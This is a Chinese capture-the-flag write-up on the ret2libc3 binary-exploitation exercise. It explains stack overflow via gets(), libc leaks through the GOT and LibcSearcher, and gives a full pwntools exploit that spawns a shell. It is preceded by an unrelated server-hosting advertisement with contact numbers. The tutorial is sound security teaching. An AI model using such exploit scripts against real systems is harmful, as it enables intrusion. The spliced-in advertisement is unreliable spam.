|
ROP-基础-ret2libc3服务器租用 网站搭建服务器不限流量百兆
需要服务器咨询以下联系方式
联系人:銳輝(香港)科技 敏敏
扣扣:3007425289/2853898501
电话:18316411879
稳定24小时售后 不限流量CN2带宽
第二台机器半价 先到先得 新机柜 上完截止 没有抢到等新的机柜
香港免备案机器那款才是最好,香港机房现全新配置上线,机器硬件可升级,G口cn2线路独独享带宽,国内延迟低,可提升防御,死扛流量攻击,机房策略可针对各种攻击方式,公司售后7*24小时技术在线处理问题。为您的机器保驾护航。
虚拟主机就是集体宿舍 一人脚臭全屋熏天
虚拟服务器就是小户型 麻雀虽小五脏俱全
独立服务器那就是单元房了 我的地盘我做主
我们机房运营商就是开发商物业管理 欢迎您入住
服务承诺
1.提供一级电信运营商的资源。
2.可按用户要求进行IP地址指向的最优分配。
3.提供7×24小时技术支持服务。
4.如遇计划性中断,提前24小时通知。
5.根据客户需求提供流量监测,分析报告。
你找卖家,卖家再找公司,公司再找机房......
等处理好已经不是服务问题了,
而是时间,玩家流失的问题了,
这就和选老婆一样,老婆不会做家务也没用,
所以选服务器一定要选有售后保障的。
锐辉网络科技24小时在线售后!
您选择锐辉就不怕没人处理问题了!
x01.分析
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
存在gets,判断是栈溢出。继续查看线程表,寻找system函数或其它有用地址:
并没有发现任何有用的信息,暂时失去了头绪。
0x02.新知识:利用libc
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
记住公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位(三位十六进制位)并不会发生改变。
如果我们知道 libc 中某个函数的地址,对比最低12位,我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
一般常用的方法是采用 got 表泄露。
由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
libc 中也是有 /bin/sh 字符串的。
一般常使用LibcSearcher工具。
安装:
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop
基本利用思路:
泄露 __libc_start_main 地址。(因为它是程序最初被执行的地方,所以肯定已经执行过)
获取 libc 版本。
获取 system 地址与 /bin/sh 的地址。
再次执行源程序。
触发栈溢出执行 system(‘/bin/sh’)。
0x03.exp
##!/uer/bin/env python
## coding=utf-8
from pwn import*
from LibcSearcher import LibcSearcher
r=process('./ret2libc3')
elf=ELF('./ret2libc3') #以ELF为格式创建对象
puts_plt=elf.plt['puts'] #获取puts函数在PLT表的位置
libc_start_main_got=elf.got['__libc_start_main'] #函数的真实地址,我们要泄露的对象
main=elf.symbols['main'] #获取main函数的地址,为了再次执行源程序以再次利用栈溢出
print "leak libc_start_main_got addr and return to main again"
payload=flat([112*'A',puts_plt,main,libc_start_main_got])
r.sendlineafter("Can you find it !?",payload)
print "get the related addr"
libc_start_main_adr=u32(r.recv()[0:4])
libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')
payload=flat(['A'*104,system_adr,0x0,bin_sh_adr])
r.sendline(payload)
r.interactive()
0x04.原理解析
总体的原理就是通过泄露一个已经执行的函数,算出基址,(这里选用__libc_start_main ),得到system和bin/sh的地址,最后再来一次溢出,去执行syatem('bin/sh'),得到shell。
具体脚本解析:
第一次payload的目的是打印泄漏libc_start_main函数的地址,然后返回到main函数,再次溢出,利用了puts函数打印该地址。
libc_start_main_adr=u32(r.recv()[0:4])
libc_start_main的地址的后12位即使程序有 ASLR 保护,交互时接受返回的地址,由于是32位的文件,每4位切一次片,用u32可以转成地址。
recv(4)是指只接收四个字节的信息,因为泄露的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节。
libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
利用脚本去找到libc的版本号,第二个参数为已泄露的实际地址。
这里运行时需要选择,有两个选择,只有第一个可以,暂不知道原理,一个一个试(重点)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
这行代码的目的是用真实地址减去这个函数的偏移地址,得到libc基址。
system_adr=libcbase+libc.dump('system') 得到libc中system的地址
bin_sh_adr=libcbase+libc.dump('str_bin_sh')得到libc中/bin/sh的地址
也可以通过这个网站在线查找:https://libc.blukat.me/
第二次溢出就是真正的拿到shell,为什么是104在下面解释。
104字符填充解释:
__start 是程序的起始。
void _start()
{
%ebp = 0;
int argc = pop from stack
char ** argv = top of stack;
__libc_start_main(main, argc, argv, __libc_csu_init, __linc_csu_fini,
edx, top of stack);
}
直接用main_plt = elf.symbols['_start']的话,仍然填充为112。
使用main需要减去8。(。。。)
可以这样计算:ebp+0x4-(esp+0x1c)(esp+0x1c是字符串的起点),ebp+4的目的是从main开始调用。
也可以debug调试:
在脚本前面加上:
context.terminal=['gnome-terminal','-x','sh','-c']
在需要调试的地方加上:(sh为进程变量)
gdb.attach(sh)
|
|